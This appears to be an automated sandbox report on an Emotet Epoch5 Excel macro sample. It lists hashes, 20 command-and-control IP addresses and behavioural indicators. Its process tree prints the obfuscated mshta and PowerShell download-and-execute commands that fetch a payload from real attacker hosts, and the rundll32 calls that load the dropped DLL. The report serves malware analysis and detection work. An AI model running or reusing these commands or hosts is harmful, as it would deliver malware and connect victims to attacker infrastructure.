emotet | bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2

General

Target

bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm
Size

115KB
MD5

f4d25cf8a129a7d5f017c7ff90e768fd
SHA1

5e5faa43a14365d234bd071f1ae2b9fcd3511ec0
SHA256

bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2
SHA512

51ed9a545b67f3296a06d0f1ed570a7caed45a9fa3adf20fad21bf8a40b576015d656f3cf7c117d354ece81006bcb268ca76ed04e30543e5e5237151234d8ea1

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1496	1260	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
34	2624	mshta.exe
35	3200	powershell.exe
38	3200	powershell.exe
50	2276	rundll32.exe
51	2276	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1624	rundll32.exe
1772	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Jghyduzs\zsuvavuwgkysjx.awr	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
888	2624	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1260	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3200	powershell.exe
3200	powershell.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
888	WerFault.exe
3200	powershell.exe
2276	rundll32.exe
2276	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	888	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE
1260	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 924	1260	EXCEL.EXE	72
PID 1260 wrote to memory of 924	1260	EXCEL.EXE	72
PID 1260 wrote to memory of 1496	1260	EXCEL.EXE	73
PID 1260 wrote to memory of 1496	1260	EXCEL.EXE	73
PID 1496 wrote to memory of 2624	1496	cmd.exe	75
PID 1496 wrote to memory of 2624	1496	cmd.exe	75
PID 2624 wrote to memory of 3200	2624	mshta.exe	77
PID 2624 wrote to memory of 3200	2624	mshta.exe	77
PID 3200 wrote to memory of 2300	3200	powershell.exe	80
PID 3200 wrote to memory of 2300	3200	powershell.exe	80
PID 2300 wrote to memory of 1624	2300	cmd.exe	81
PID 2300 wrote to memory of 1624	2300	cmd.exe	81
PID 2300 wrote to memory of 1624	2300	cmd.exe	81
PID 1624 wrote to memory of 1772	1624	rundll32.exe	82
PID 1624 wrote to memory of 1772	1624	rundll32.exe	82
PID 1624 wrote to memory of 1772	1624	rundll32.exe	82
PID 1772 wrote to memory of 320	1772	rundll32.exe	85
PID 1772 wrote to memory of 320	1772	rundll32.exe	85
PID 1772 wrote to memory of 320	1772	rundll32.exe	85
PID 320 wrote to memory of 2276	320	rundll32.exe	86
PID 320 wrote to memory of 2276	320	rundll32.exe	86
PID 320 wrote to memory of 2276	320	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:924
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3200
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2300
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1624
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1772
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jghyduzs\zsuvavuwgkysjx.awr",SnfRAa
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:320
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jghyduzs\zsuvavuwgkysjx.awr",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2276
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2624 -s 1656
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/320-850-0x00000000046A0000-0x00000000046C8000-memory.dmp

Filesize
160KB

Download
memory/1260-116-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/1260-117-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/1260-118-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/1260-121-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/1260-128-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

Filesize
64KB

Download
memory/1260-129-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

Filesize
64KB

Download
memory/1260-115-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

Filesize
64KB

Download
memory/1624-827-0x0000000000140000-0x0000000000168000-memory.dmp

Filesize
160KB

Download
memory/1772-848-0x0000000004870000-0x0000000004898000-memory.dmp

Filesize
160KB

Download
memory/1772-832-0x0000000004250000-0x0000000004278000-memory.dmp

Filesize
160KB

Download
memory/1772-851-0x00000000049C0000-0x00000000049E8000-memory.dmp

Filesize
160KB

Download
memory/1772-846-0x0000000004810000-0x0000000004838000-memory.dmp

Filesize
160KB

Download
memory/1772-844-0x0000000004690000-0x00000000046B8000-memory.dmp

Filesize
160KB

Download
memory/1772-830-0x0000000000AD0000-0x0000000000AF8000-memory.dmp

Filesize
160KB

Download
memory/2276-860-0x00000000049A0000-0x00000000049C8000-memory.dmp

Filesize
160KB

Download
memory/2276-853-0x0000000000A80000-0x0000000000AA8000-memory.dmp

Filesize
160KB

Download
memory/2276-862-0x0000000004A00000-0x0000000004A28000-memory.dmp

Filesize
160KB

Download
memory/2276-865-0x0000000004A60000-0x0000000004A88000-memory.dmp

Filesize
160KB

Download
memory/2276-867-0x0000000004AD0000-0x0000000004AF8000-memory.dmp

Filesize
160KB

Download
memory/2276-869-0x0000000004B50000-0x0000000004B78000-memory.dmp

Filesize
160KB

Download
memory/3200-560-0x000002A19E600000-0x000002A1B6790000-memory.dmp

Filesize
385.6MB

Download
memory/3200-562-0x000002A1B6970000-0x000002A1B69E6000-memory.dmp

Filesize
472KB

Download
memory/3200-531-0x000002A1B6700000-0x000002A1B673C000-memory.dmp

Filesize
240KB

Download
memory/3200-506-0x000002A19E570000-0x000002A19E592000-memory.dmp

Filesize
136KB

Download
memory/3200-598-0x000002A19E600000-0x000002A1B6790000-memory.dmp

Filesize
385.6MB

Download
memory/3200-640-0x000002A19E600000-0x000002A1B6790000-memory.dmp

Filesize
385.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads